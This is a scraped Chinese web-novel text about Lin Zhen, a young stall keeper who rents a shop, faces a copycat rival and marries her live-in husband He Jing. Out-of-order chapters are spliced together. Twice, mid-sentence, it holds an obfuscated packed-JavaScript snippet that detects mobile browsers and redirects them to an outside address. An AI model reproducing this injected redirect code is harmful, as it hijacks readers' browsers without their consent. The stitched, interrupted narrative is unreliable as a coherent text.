可从没听过谁家是半年起赁的,林真如何能不心动? 可越是如此便越发显得可疑。 这样好的地方,这老巡栏会松手给自己? 他大可拿这铺子去打通其他人的路子,谁赁了这个铺子,都得承他的情。用来给自个儿赔罪? 不是林真妄自菲薄,可属实是有些浪费了。 “林娘子是聪明人,我也不瞒你。老头子瞧着林大掌柜对娘子很有几分不同,那林大掌柜可是林家当前数一数二的大掌柜,很得主家看重。此次算是沾着你的光在林掌柜跟前露了个脸,往后,若是我那小女婿得用,还情您美言几句。” 老巡栏三言两语道明自个儿的目的,见林真面无异色,又继续道。 “至于那铺子的赁钱为何这样低,其中确有缘由。” 一番交谈后,林真听明白了。 这铺子的主家近年来颇有些不顺,家里的营生出了许多波折,不得不缩减些许,留些资金周转。 从前那样的规模是铺不开了,如此一来,手上便有几间铺子要往外赁。 可主家并不想将那样好的铺子赁给财大气粗的商家,就怕以后不好收回来。 这赁铺子的人选便只往小生意人中间去找,且人还有一个要求。 来赁铺子的人要看属相,赁钱倒是其次,最最要紧的是:绝对不能与主家相冲。 “林娘子放心,您的属相与主家不相冲。且晓得你与林掌柜相识,主家必是愿意的。”老巡栏老神在在,很是有把握。 若不是十拿九稳的事儿,他也不会来与林真说。 “您实在,我也与您说句准话。我在此处支摊子,缴的税钱和赁钱您晓得的,若是往那头去,有了固定铺面,便不算浮铺摊子,这税钱可大不一样。若是生意不好,怕还不如在这头支摊子呢。” 林真所言,半真半假。 她现在经营的这几样东西,估摸着一日进账在一千二百文左右。可里头丰乐楼和朱掌柜那头的进账占了一半,再有马娘子和林茂安又占去一股。 支摊子的收入,约莫在六百文左右。若是那铺子不似老巡栏所说,她开铺子便是白给官府多缴税,自己忙活一同,实则比支摊子多赚不了几个钱。 老巡栏也不知信没信,只点点头道:“林娘子若是不急着家去,不妨现就与老头子去长兴坊转转。你瞧一瞧,若是瞧得上,咱们再说。” 林真眉头一挑,这么有自信,还真有好事儿落在自个儿头上不成? “成,劳您带路,咱一道去瞧瞧。”林真当即应下,赁不赁的再说,去看一眼也没甚坏处。 == “这铺子虽没带小院,是个大通间,可里头没隔断,面积也不算小,瞧着就敞亮。” 老巡栏的小女婿姓许,早早便等在此处,见岳父领了一位年纪颇轻的小娘子来瞧铺子,心里虽有几分惊讶,可面上一点儿不带出来。 当即摸钥匙开锁,引着人往里头细看。人业务甚是熟练,一张嘴便晓得是个能说会道的。 “您瞧瞧,铺子里有些年头了,瞧着有些陈旧,可您往泥瓦作请个匠人来,墙面重新一抹,柱子甚的再漆一道,再请木匠来打个货架,那瞧着是又亮堂又齐整。若是您家的货物种类少些,还能教木匠做个隔间出来歇息。这些个改动,主家都是允了的。” 林真跟着许经纪转悠一圈儿,脑子里都快要把铺子的陈设布置想出来了。 不不不,住脑! “您再随我到外头来瞧瞧。”许经纪又引着林真往外走,他指着铺子门口的那块空地道,“您瞧,这还可以打个棚子出来,往外头支张长桌便是一个小摊儿。” 林真左右瞧瞧,确实,这里头的的店家都是如此行事。 “您再往这头走几步。”许经纪引着人左行几步,面上有些自豪。 “往这头一拐便是主街,您在这面墙上开一扇窗出来,正对着主街,再挂个亮眼些的招幌,何愁没有生意。” 许经纪发动致命一击。 林真,林真着实招架不住。 这铺子是真好啊。 就这么几步,她已经想好要卖些甚了! “许经纪,这铺子你能给我留多久?我晓得只要半年赁钱已是主家仁义,可不瞒您说,家里才打了井,又要一口气凑出十二贯钱来,着实有些不凑手。” 林真坦坦荡荡。 “您若是能拖一拖,许个五日时间来,我定然能拿下这个铺子。” “这……”许经纪皱眉,这铺子这样好,即便主家挑剔些,可一旦放出消息去,何愁没人赁。他又瞧了瞧岳父一眼,想到这年轻小娘子与林大掌柜颇有几分交情,咬咬牙。 “林娘子,这铺子您也瞧见了,是不愁赁的。三天,我最多只能给您拖上三天时间。” “成!”林真点头,又冲着老巡栏道,“三天后,若是我没凑出钱来,这铺子你们尽管往外赁。可无论如何,我都承您的情,前事一笔勾销,咱往后打交道的日子还长着呢!” 有这句话,老巡栏和许经纪心里都松了一口气。 倆人心里同时暗叹:这林娘子年纪不大,可行事好生敞亮,难怪能得林大掌柜青眼。 事情商谈妥当,林真便与老巡栏一道回去拿家伙什,也不晓得贺景等多久了。 哎,这时候有啥全凭口信儿,遇上突发事件很是不便,怀念手机了。 一去,贺景果真等着了。 老巡栏那孙儿多会来事儿,将一人一驴都照顾得多是妥当。领着人歇在棚子里,她家的大毛呢,拴在树荫下,甩着尾巴还怪悠闲的。 冲这,林真都要领老巡栏的情。 林真冲爷孙组合的倆巡栏道谢,与贺景一同离去,先去找马娘子记下隔日的拿货量,这才家去。 “今儿来相帮的族人可来了?干活儿可利索?” “来了,人是有文叔帮着介绍的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16444572|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有田大哥很是舍得下力气,今儿还想给咱家扫牲口棚呢!好容易才教我拦下来了。” 两人一路说话,便不觉着路远天热。 回家歇一口气,又是一通忙活。 等日斜时分,霞光万丈,天上的云朵被染成绚丽的橙紫色时,林家院儿里摆桌子吃饭。 此时,是林家最闲适的时光。 意味着今日的活计忙完了,能歇着,一家子多在这时候说说话,讲一讲今日见闻。 “今日兴福坊的老巡栏给我介绍了一处铺子,我有意赁下来,腐竹豆干可卖,爹也可在那处杀猪卖肉。”林真先将铺子的情况介绍了一番。 “那铺子要一口气缴半年的赁钱,要十二贯,咱家才打了井,一时间,还真是凑不出恁多钱来。” 苗娘子很是震惊:半年十二贯,那,一月就要两贯钱了!乖乖,从前只晓得在县里开铺子挣钱,还不晓得这赁钱如此多呢! 林屠户在肉行许久,从前也是动过赁铺子的心思的,他晓得行情,倒是没被这铺子的赁钱唬住,他只担心一件事。 “真姐儿,这卖肉自然还是肉行那头好。人人买肉都晓得往那头去,这专专盘个门脸铺子来卖肉,不晓得生意如何。若是不成,只卖腐竹豆干那些的,税钱一缴,怕是还不如支摊子来得赚。” “爹,您说到点子上了。”林真先赞,又细细说来。 “那铺子在长兴坊,临近主街,往来人群和住户都不少。且还有一层好处,长兴坊的位置,离县里东西两处肉行都不算近,这便是咱们在那头开肉铺子的好处了。” 见众人都听进去了,林真又道。 “肉行您待过,不是我说,有些摊主实在不讲究,那里头的气味着实不算好闻。咱家人手少,总不能耗两人在县里吧?搁在一处售卖,一人就能支应开,顶多上午客多的时候,留下一人帮忙。” 肉行自然有肉行的好,自带精准引流。 可那一处全是卖肉的,打堆堆做生意,又都是一样的货。同行相争,少不得纷争,林屠户虽不怕。可林真嫌麻烦,实在不想往那头去。 林屠户皱眉思索一番,点点头:“若那铺子真是那样好,这生意确实能做。你手头有多少钱,爹这头能出……” “咱能出五贯钱并三百个铜子。”苗娘子接过话头。 “恁多?”林家父女倆同时惊呼。家里进来办事可不少,苗娘子还能存下恁多钱来? “咱家多是真姐儿往屋子里搬东西,我这头不就能存下钱来?”苗娘子并不居功。 林真一下子笑了:“这可好,账上还有四贯多钱,再有三日,这十二贯钱一定能凑出来。” 听林真这样一说,一家子多欢喜。 特别是林屠户,今儿从陆富贵那头晓得王巡栏在作怪,心里本不大痛快,可现在却一点儿不见恼。他有个好女儿,苗娘子和贺景也是好的,一家子和和睦睦便是兴家之兆。 这都要往长兴坊盘铺子去了。 林屠户便不去想这王巡栏又是打的甚算盘了。 这人已沦落到使唤从前瞧都不瞧一眼的陆富贵给他添堵。嘁,已是没招了。 “对了,爹,今儿沈猎户家可是来寻你了?是不是想跟着您学杀猪手艺?你心中是个甚打算,说来听听?” 39. 第 39 章 “爹,您说林屠户到底是个甚打算?”沈山平眉头紧皱,有些着急,他一急,便显凶相。 “平日里瞧着是个爽快人,怎这时候没个准话。” “大山!怎么说话的?”沈猎户脸一黑,低声喝道。 “爹,我说话是着急了些。”沈山平语气软下来,又嘟囔道,“可咱家将话都说明白了,行是不行,林屠户好歹给个准话嘛。我当猎户也没甚不好的,作甚非要改行当屠户去?” “就你这急躁性子,在山里讨生活,你是有几条命?”沈猎户又骂,“你老子我,老了!跟在你后头给你擦屁股的日子还能有多久?你一个人进山,迟早要把小命交代在里头!” 沈山平不说话了,他低着头,任他爹骂。 “咱家跟林屠户家无亲无故的,人凭啥要将这赚钱手艺教给你?拜师学艺,没有水磨的功夫哪能成?这才头一回你就受不了了?再说了,是咱家先前行事不定,没早早与人处下些交情来,现瞧着人要张罗杀猪的事儿才巴巴凑上前去,林屠户没一口回绝已是万幸。” 说到这儿,沈猎户也是叹气,他这想头不是一天两天了。 打从林屠户回村后,就在打这个主意了。可那时才要去找林屠户,就传出林家姐儿要招赘的消息来。 那时候凑上去,他怕林屠户要说招赘之事,便不大敢去。 他家香火不旺,只有大山一个儿子,可不能舍出去与人当上门婿。 后头林家姐儿成亲后,林家那女婿高大,干活儿又卖力气。打柴担水样样都做,一日挑个十来担水的也不见他喊累。 沈猎户又打住了上林家的步子。 他不晓得林屠户会不会将手艺传给自家女婿。 扪心自问,若是有人寻他学射猎本事,他也更愿意教自家人,而不是一个外姓人。 又等啊等的,瞧着林屠户似乎没打算教自家那上门女婿杀猪手艺,沈家这才下定决心,带着厚礼上门。 也实在是等不得了,林屠户已张罗着要在家里杀猪卖肉了。 这时候再不去,等人自个儿将营生张罗起来才往前凑,那成什么样子? 再没有这样办事的。 请客去一回,今儿又去一回。 今日话说得更透了,可林屠听了却将话题岔开去。 儿子急躁,沈猎户却不急,这才哪儿到哪呢?冬日里上山猎狐时,若是差几分运道,一等便等个十来天也是有的。 就像他训斥儿子的那话:水磨功夫先做到位了,才能说往后呢。 “你小子将脾气给我收一收!”沈猎户继续道,“此事是咱自家凑上去的,成与不成都怨不得林屠户。若是不成,那是你小子没教人瞧上,咱再想想别的法子,可不能生怨!” 沈猎户疾言厉色,沈山平恁高一个汉子,也只能低头听训,只敢小声嘟囔。 “我又不是那样的人……” 沈猎户只当听不见。 自家儿子他瞧着自然是个好的,可别人瞧着却不一定。若是能拜林屠户为师,换了营生,不再干这随时会出事儿的行当,那自然千好万好;若是不能,借着此事压压大山的性子也是好的。 == “爹,您到底是个甚意思,说来听听嘛!”林真有贺景这眼线在,早晓得今日沈家父子又携礼上门之事。 她估摸着她爹是有几分意动的,要不然,沈家即便是想送东西,他爹也绝不会教这东西进门。 林屠户眼神在林真和贺景身上打转,嘴里轻哼道:“你这消息倒是灵通。” 可他嘴角却是微微翘着的:闺女儿和大景处得好,他高兴着咧! “这有甚?咱们一家子难不成还要藏着掖着的,有事儿说事儿,都大大方方的嘛!”林真相当理直气壮。 一个屋檐下生活,难不成还要猜来猜去的?藏着忍着,那结果必然是怨着。 这样不好,她上辈子十来岁才到父母身边生活。那时就是这样客气又生分,那种压抑的气氛,她宁愿长久的住校,也不乐意回去。 长大后,回去的时候更少了。 偶尔夜深人静缠绵病榻时,她也会觉得孤独。 这辈子沾了原身的光,运道好,有一个不错的爹、不错的丈夫、不错的家人…… 她很满意,也很欢喜,自然要小心维护着这一切。 “您快说说,一人计短两人计长,咱这好些人呢!定然能给您出出主意。”林真催促。 “沈家与咱家一样,都是沾了杀生的手艺,人丁不旺。沈家也只有一个儿子,我瞧那小子的体格倒是不错,他自小跟着沈猎户进山,剥皮放血、开膛……” 林屠户瞧着睁大眼睛听得认真的燕儿,生生咽下口中的话。 “总之,他有些底子在身上,跟着我学杀猪上手快。沈猎户是个稳当人,沈家这些年也没传出甚不好的话来,可我还是想多瞧瞧。爹这个年纪了,若收下他,他便是我唯一的徒弟,我得多看看。” 林真点头,说来说去,还是从前看走眼了,心里有所顾忌。 “成,您多瞧瞧也好。若是个好的,您有个得力的帮手,咱家往后也多户人家走动。” 这时候的师徒名分不一般,两家还住得这样近,往后必定是要常走动的。林真很明白她爹心里的顾虑,晓得她爹有这个意思,便没有出言催促。 == 翌日,林真照旧去兴福坊内支摊子。 可她有些奇怪,今日的鹵豆干似乎不大好卖?且今日来的客人似乎对鹵豆干挑剔了许多? 林真有心打探一二,可今日来摆摊的只她一人,还真不好走开,便只能按捺下来与人周旋。 不多会儿,王柘气冲冲地来到林真摊子上。 “林娘子,你摊子上的鹵豆干我都给包圆儿了!” 林真觉着王柘落在鹵豆干上的眼睛在冒火,不像是要买豆干来吃,更像是泄愤。 “您包圆儿了我自然是高兴的,可我这摊子上还有十来方呢!您家中没办宴,自家买恁多可吃不完的,放的不新鲜了,您这舌头可要受委屈了。”林真顽笑道。 王柘却道:“我哪里会委屈,委屈的明明是林娘子!也怪我不好,话多,不然,哪能教林娘子受这委屈。” 林真奇怪:“这是怎么说的?我怎越听越糊涂了?” “你还不晓得?”王柘惊讶,可瞧见林真孤身一人他便了然,想来是还没抽得出身去打听消息。他一想,更气了,忿忿不平道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16456293|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “坊内卖爊鹅那家好不要脸!竟也学你制了这鹵豆干来卖!不就是欺负你一个势单力薄的年轻娘子嘛!” 林真睁大眼,难怪今日她这头的鹵豆干卖不动。那铺子位置好,味儿也好,若是也卖鹵豆干,她的生意确实会受些影响。 可她倒没那么生气,这东西没甚技术壁垒,只要她制出来买,跟风者迟早会有。 “您就为这生气啊?不值当,迟早的事儿麽。您也不必生愧,更不必将我这摊子上的鹵豆干都包圆儿。这头卖不动,沿街叫卖便是了。”林真早有预感,反而没那么生气,出言劝慰王柘。 “哎呀!话不是这么说的,我自家做生意,还能不晓得这些道麽?只是他家忒不讲究,便是要学你制鹵豆干来卖,他一个正经的吃食铺子,学丰乐楼卖冷盘不是更好?作何要整个儿售卖?且价还定得与你一样?他家那豆干是从豆腐坊内买的,如此定价,可赚不了几个钱的!还不是为着恶心人!” 王柘气得跳脚。 林真眉一皱,如此行事,倒确实有几分故意挤兑她的意思。 啧,好生小气的店家,难不成还以为她制鹵豆干是学了他家行事? 王柘不顾林真劝阻,执意买走了摊子上剩下的鹵豆干。 隔壁福源斋的小伙计也来劝,言语间还暗示她可以找林福帮忙。 林真谢过小伙计,摇摇头:“这有甚?做生意哪有不经些波折的,些许小事,很不必打扰福管事。” 不多会儿,老巡栏也踱步过来,林真照旧寒暄几句,教他放心,最要紧的是:那铺子可一定要留着。 今日是林屠户来接她,昨日贺景已经去瞧过长兴坊的铺子了,今日换他爹去瞧瞧。 可她屠户爹来的时候却没那么高兴。 一问,果然也是晓得卖爊鹅那家在卖鹵豆干,心里担忧。 “爹,我给您算算帐,我每日在兴福坊内卖的两种豆干约莫能得二百来文,可我每日进账有个六百来文,可见大头是出在腐竹上。”借着林家雅集和丰乐楼的东风,林真每日能卖出去十来把腐竹。 腐竹,才是家里赚钱的王牌产品。 见林屠户听进去了,她又继续道。 “咱家卖腐竹已然能赚钱,制了豆干来卖,那是纯赚,是以定价才略低些,可卖爊鹅那家的豆干是买来的,这样定价可赚不了几个钱,他家这价迟早要往上提。随意提价,这可是做生意的大忌。再说了,咱家不是要往长兴坊开铺子去吗?更不必与他家置气,只是在这要用钱的当口上出这事儿确实教人心烦,可苗娘子持家有方,咱手里的缺口没这么大,朱掌柜那头的生意好,茂安哥和马娘子的生意也不会受影响,今儿入账一贯三百文,又攒下一笔,那铺子咱定然能拿下来的!” 跟她屠户爹就没甚好隐瞒的,林真将帐一一算给林屠户听,也是宽慰她屠户爹,教他不必忧心。 这种事儿往后定然还能遇见,实在没必要生气。 前世恁多‘康帅傅’‘大白免’的,她见得多了,一点儿不意外。 做生意嘛,要紧的是口碑、创新和持.久战,她压根儿不虚。只希望家里人也放平心态,不受影响。 可哪晓得,因着这事儿,到底还是生了波折。 24-30 第24章 賀景是在日斜时分踏入枣儿村的。 許官媒与他同行, 出了賀家湾后,渡口是赶着大灰的林茂青兄弟俩。 “瞧,那是林家姐儿的倆堂兄, 他们来接你一程咧!”許官媒很是高兴。 入赘于男子来说确实伤臉面。故而本家这边基本不出人,确实疼孩子的,也多是当娘的陪着走一遭。 而女方这边儿呢,有許多人家只一昧弹压人, 有时还会要求男方改姓。 好在林家不是这样的人家。 可话又说回来, 女子嫁人不也是一样的吗?从自己家到别人家去, 哪个不是悬着心呢? 许官媒收起感伤,郑重道:“景小子,姨母曉得你是个好的。那林家也是和善人家,可过日子哪有不磕磕碰碰的, 你和林家姐儿往后即便是拌嘴,也万万不可将入赘之事掛在嘴上。这言语之利, 更堪刀剑, 一旦伤了人心, 要想转圜,那可是难如登天了。” 賀景瞧了一眼被流水和茂林掩在一片阴影之中的賀家湾。转过头来瞧见在渡口甩着尾巴的毛驴儿, 笑了笑。 “许姨, 您放心。我往后定然好好过日子。” 大灰托驼着两只箱子家来的时候, 围在林家门口的眾人抻着脖子瞪着眼儿瞧, 就想知道他们枣儿村这头一位上门婿长甚样。 “模样还怪俊的哩!只瘦些,可没缺胳膊少腿儿的。” “瞧着挺精神, 也不像是个憨的。” …… 窸窸窣窣只敢小声议论,无他,今儿站在林家门口帮着迎客的是族长夫人陈氏, 可不是没人敢放肆嘛。 林真此时由着另一位媒人引到门口,她没盖盖头,满头乌发一丝不乱地盘成同心髻,很是利落,身量又高挑,此时走来,在眾人的围观下毫不见怯,端得是落落大方。 林真今日自然也是一身新,最要緊的是,她屠戶爹請许官媒给寻了位梳头娘子来。敷粉绞面、梳头上妆,折腾了一大早。 林真先时瞧见梳头娘子带了好大一只官皮箱来,还真怕自个儿会被刷个大白臉。可她确实小瞧人家了,还不待她开口,梳头娘子双眼弯弯先赞道。 “好英气的小娘子,同心髻放你身上定然飒爽,当家娘子,自然要有派头的!” 只看她给林真画的眉毛,不是如今流行的,柔和秀气略显忧郁的远山眉就曉得,许官媒介绍来的梳头娘子很是靠谱。 今日长眉入鬓、略施粉黛的林真,自是与平日不同。 林屠戶一瞧见她,差点儿湿了眼眶:“真姐儿,是大姑娘了。” 燕儿要直白得多,双眼亮晶晶:“阿姐今日真好看!” “我也这样觉得!”从梳头娘子的镜匣里瞧见自个儿今日的妆面时,林真也很是满意。 贺景今日也是一身新,那衣裳还是许官媒着意置辦的。 交领皂衫,一抹紅边是里头紅色的里衣,瞧着倒是与林真身上的鸦青半袖配紅色百迭裙很是登对。 这时候的寻常人家成亲是不会置辦紅喜服的。 扯一身衣裳要不少錢,红喜服只能穿一回,对农家人来说太过奢靡。讲究些的也不过是扯一块红盖头,或是置件红底裙儿。 林真不用盖头,便扯了一身红罗百迭裙。 俩人个头都高,今日又着意拾掇过,此时挺直身板儿站在一处迎客,倒是教村人有些不敢认。 隨公婆前来吃席相帮的容娘,打量着林真倆人,心里有些咋舌:那通身的气度,瞧着与城里好些大户人家的女郎也不差甚。还有那招来的上门婿,这么一拾掇,哪里像是那穷山沟里头出来的? 被打量的倆人倒是一派镇定,隨着林屠户喊人,这个婶娘那个叔伯的,言笑晏晏。若是遇上有人打趣几句,林真能接上话不说,贺景也能说上几句客气话。 今日前来吃席的客人,见俩人举止大方,倒都在心里嘀咕:这真姐儿瞧着不似传言粗鲁,这上门女婿一副好相貌不说,人也一点儿不孬。 林家哪像是要败了的样子,这分明是兴家之像嘛! 再待林福得了吩咐,赶着骡车携了礼物前来时,林家院子里的熱鬧简直要鬧翻了天去。 “林娘子好生客气,这样的喜事也不肯说。我得了東家的吩咐,不請自来讨杯喜酒吃,还望勿怪。”林福拱着手十分客气,脸上掛着团团的笑。 “怎会,原是我的不是。林小哥里面请,今儿必要与我们好好吃一杯酒。”林真瞧见骡车是配了车夫的,便放心相邀。 “不忙,東家吩咐我携此物给林娘子添添喜意呢!”林福打开一个匣子。 枣儿村众人都抻着脖子望。啥东子?怪模怪样的,可红彤彤的倒是喜庆。 这,是鞭炮? 林真仔细回想,原身确实是没见过这东西的,又见旁身众人也是一脸疑惑,便充满好奇地问。 “这是甚?” 林福笑眯眯:“打江宁那头来的稀罕物呢!” 快手快脚将两挂鞭炮挑起来,指着火药线给林真瞧。 “上头的竹节都是用此药线串在一处的,引燃此处,便能教一整串竹节依次炸响。取其百余不绝之意,贺林娘子长乐永康!” 两挂鞭炮炸得山响不说,最外层裹着竹节的居然是染了色的红纸,随着竹节炸开,片片红色翩跹,好似一朵朵红花翻飞。 这场面,教林福弄得,果真熱闹喜庆,还倍儿有排面,十里八乡的,都晓得此处热闹。 今日林家本备了二十六桌席面,怕人多菜色不够不好看,还又多备了两桌子的好菜。哪想到,教这鞭炮一炸,满满当当围坐了二十八桌不说,后头陆陆续续又来了好些人,瞧着足有两桌人! 林大伯一家赶緊撤下来,先安排了客人落座,又教周灶人赶了两桌菜来。 幸好采买时没吝啬,菜肉都是备足了的,周灶人经验丰富手脚麻利,支开桌子到底是将人安排妥当了。 而这头的林真和贺景,正挨着桌子敬酒。 因着身后还跟着林有文,圆领长袍上身,童生和里长儿子两层身份在,将那些个起了心思想要借机耍赖欺人的人都按下去了。 林真和贺景,敬了一圈儿礼数做足了,到底是能安安生生坐下来吃上几口好菜好饭。 林真用眼神示意身边的人下箸,她家今日这席面办得甚好。 一桌十个菜,八个肉菜,只一道焙瓜瓠和凉拌腐竹不见荤腥儿,连汤都是酸笋老鸭汤。 自家东西都不赶紧吃上几口,还等啥? 热闹了大半晌,先送走了赶着回县里的林福,吃席的客人待到月上柳梢才三三两两散去。 == 林真散了头发,擦洗过后铺盖一卷儿赶紧会周公去,她累得慌。 睡着之前迷迷糊糊道:“明日,卯初一定得起,林掌柜怕是寻我有事儿。” 今日人多,林福不好多说,可走时分明说了明日在兴福坊见,且他今日前来搞这么一出,怕不止是吃酒这么简单。 翌日,林真是教一张冷沁沁的湿帕子叫醒的。 她瞧着已经收拾整齐的贺景有些来气,可人连早饭都端来了,她又不好说甚,只能快速扒拉了几口出门去。 村人赶着牛车已等着了,见了林真倒是搭话。 “真姐儿倒是勤快,便是成亲,这城里的摊子也没耽擱,看来是赚了不少錢哩!” “唉,也是挣个辛苦钱,这才日日不敢耽擱。”林真只回一句,爬上牛车便不搭话。 贺景才要跟着上去,那赶车的村人又说:“恁年轻的汉子也坐车啊?” “哼!”林真冷笑一声。 “您可真有意思,我车上坐着,您车板儿上坐着,教我男人像个押车的脚夫一样,跟着跑?我这些家伙什不到百斤,便是加上我和贺景也不足四人来得重!您往日一趟车拉七八人不嫌多,怎的到了我这头便嫌上了?您这每日二十文,赚得可真是轻巧!” 贺景,站着不说话,像个受欺负的小媳妇,可唇边似乎有丝笑意。 “哎呦呦,我就这么一说,真姐儿怎的还计较上了?”那赶车的村人不认。 “您就这么一说?显得我还多不懂事一样?您拿钱办事儿,咱们便要有规矩。今日一说,明日一说,平白惹人不痛快不说,还净耽搁事儿!” 林真说完,瞧见村人不吭声了。 又冲着贺景道:“上来,咱可得快些!” 一路闷不吭声赶路,还是在往日的时辰到了县城。 那村人心中有气,只一个劲儿地推脱,不肯再帮着将人送到兴福坊那头去。 林真眯着眼看,贺景将东西卸下来,往自个儿身上扛。 “娘子,走罢。” 林真从贺景身上分了装腐竹的背篓,不顾贺景阻拦,又将条凳扯来自个儿提溜着,这才带头往兴福坊去。 憋着一口气才走到兴福坊。 林真面上都是汗珠子,她掏了汗襟子出来擦,左右瞧了瞧。失望,这时候还没人来卖香饮子。 贺景将家里带来的水囊递给林真,学着旁人的样子将摊子支起来。 林真笑了笑,将水囊递给贺景:“擦擦汗,你也喝口水歇歇。待会儿咱买金橘团熟水来吃!”—— 作者有话说:查了查,爆竹还真是在宋代才被玩出花样来的 第25章 林真与賀景虽已成婚, 可倆人,严格来说,还是算陌生人。 至少对林真来说, 是算的。 她倆才见过一面好不? 可林真没料到,与賀景头一遭出来擺摊,倆人配合得却很是有默契。 主要是吧,賀景这人虽然话不多, 只偶尔搭话, 可就是这偶尔搭的一两句, 回回都能正中要点。 月白对襟挽高髻,收拾得特利落的娘子眼睛盯着,是在挑剔不幹净。賀景包箬葉的时候会特别留意不去碰到豆幹儿,还会闲聊似的说起采摘箬葉洗晒之事。 头插银钗的妇人買一把腐竹, 眼儿才落在豆干儿上,贺景就晓得要去给人挑半块豆干儿当添头… 几回下来, 林真干脆直接坐在小杌子上, 只给人打下手。 天晓得, 她其实是个不那么爱说话的人。 这辈子倒好,才来没几个月, 与人打交道谈生意的话说了几大车, 快赶上上辈子一年的社交量了。 可谁叫家里只有她能出来擺摊儿呢? 苗娘子, 即便是现在也不大出门, 怕是连枣儿村都没好生逛过。她屠戶爹?摆摊经验倒是十分豐富,他那体格子放在肉铺不违和, 可站在此处,能教客人少一半儿。 能怎么办呢?总不能指望七岁的燕儿罷?林真只能咬牙坚持。 现在好了,家里来了个能分担的, 她乐得偷闲。 溜达着買了熟水回来的林真,刚好撞见了赶着驢车的林福。 “林娘子,咱们掌櫃的请您和贺郎君用顿便饭,派小子来相请。”林福一脸笑。 “又教林掌櫃破费了。”林真目光落在驢车上,半点不推辞。 瞧瞧人家这周到的,许是瞧见今日自个儿和贺景背着东西,这厢还特意牵了驴车来,定是有事儿相商。 林福带着倆人一路到了西市,在一座二層酒樓前停下。 酒樓门口甚是宽敞,又以彩纸和竹木制半月形的欢门[1],上头迎风招展的彩帛在日头下晕出彩光来,吸引着无数腰间鼓鼓的食客。 “福管事。”车才停稳,招揽客人的伙计便小跑过来,殷勤又周到。 “牵到后头去,车上的家伙什都是贵客的,好生瞧着。”林福将驴车交给小伙计,又转身对着林真倆人一礼。 “二位请,大掌櫃在樓上等您。” 林真抬头瞧着’豐乐樓‘三个龙飞凤舞的大字,这是慈溪县内数得上名儿的酒楼。 眼睛在彩帛上一晃,农家难见的东西在此处只是用来吸引客人,当个摆设罷了。 “林大掌柜这是高升了,是要好好贺一贺。” 林福眼中笑意更甚,微微弓着身子在前头引路。 林真挺直了腰板大步跟上,又轻轻碰了碰身边的贺景,低声安抚。 “咱可是贵客呢!” 贺景一怔,转而尽量舒展身形,跟在林真身旁一同朝楼上走去。 倆人的粗布短衫在此处确实扎眼,可行走之间不见畏缩,又都是一副好相貌,前头还有个林福引路,倒是没人跳出来,出言奚落,最多瞧上两眼便罢了。 二楼俱是小巧玲珑的雅间,最适合約人谈事。 林掌柜在门口迎林真,笑呵呵的模样,当真是人逢喜事精神爽。 “林娘子、贺郎君,里面请,老朽恭候多时了。” 众人依次落座后,林真才发觉,这二層酒楼后边别有洞天。 假山流水环绕着一间间小巧院落,又有翠竹奇花掩映,飞桥栏杆上是捧着食案的伙计和焌糟娘子穿行其间。好一幅奢侈画面,教林真这个自诩有些见识的异乡人瞧着都咋舌。 寒暄几句,林掌柜便直入正题:“这酒楼,每日約耗三斤腐竹,不知林娘子可能供应?” “能!”林真在心里快速过了一遍,立即答应。 稳定的客源,固定的收入,谁不答应是傻子。 “哈哈,林娘子果然爽快!” 倆人商量了一些細节之处,便果断定契。这回是长久生意,自然要签红契,拟好契约着人去县衙盖印后,林掌柜也不多留,使人捧来两白瓷盞后,神神秘秘道。 “林娘子赏脸,細细品味一番这春水魄。” 随即出门去,将空间留给林真倆人。 林真心有预感,和她有关,除了腐竹那就只有桑叶豆腐了? 可瞧见那白瓷盞里头的东西后,着实不敢相认。 桑叶豆腐被一分为二,灰色的部分和雪白细密的冰沙堆成山峦模样,翠色的部分铺滿整个盏子,上头淋了一层透亮的蜜水,确有波光粼粼之感,又在角落用绯色糖浆勾出半朵残荷。 盏中作画,不愧它春水魄的美名儿。 林真欣赏了半天,用搭配的小银勺舀了半勺送入口中,滑嫩清甜,冰冰凉,不论是口感还是甜味儿,着实比她折腾出来的桑叶豆腐不是一个档次。 听见小伙计笑眯眯道:“一盏春魄,二十八个钱!” 林真忍住了,没在心底大叫,奸商! “这东西可稀罕了,整个儿慈溪县,只有八仙茶坊和咱这头有呢!打竹林雅集上传出来的,冰盏盛玉魄,澄澈无暇胜春水,大人们都在赞哩!” 听听,还有名人雅士打广告,合该人家赚这个钱。 小伙计离开后,林真招呼贺景。 “用饭,用饭,待会儿还有得忙呢!” 确实忙,拿了红契后,林真和贺景先去米行買豆子,又去了熟药局买石膏。 在外头探头探脑,瞧见贺景同样被小药童盘问许久,林真心里诡异的平衡了。 倆人今日是空手回去的,那些个家伙什都搭了米行的便车运回去。林真也懒得去等枣儿村的牛车,与贺景溜达着往家走。 豆子有贺景操心,林真乐得丢开手,自去围着家里的大小灰瞧。 这会儿拉磨的是小灰,林真盯着它湿漉漉的大眼睛不错眼。 丰乐楼每日要三斤腐竹,兴福坊的摊子上销量稳定下来后,每日约莫能卖出去六七把腐竹,便算作一斤半。平日里还要再备些货,免得有富戶办小宴时采买腐竹支应不开。 这一算,可不得了,一日至少得磨上百来斤豆子。 嘶! 林真盯着小灰没长成的小细腿儿瞧,罢了罢了。 大小灰平日里磨豆子已经很辛苦了,眼瞅着秋忙就快到了,紧接着便是中秋、冬节和年下,正是屠户最忙碌的时候。大灰必要跟着她爹跑东跑西的,家里的豆子只能指望小灰了。 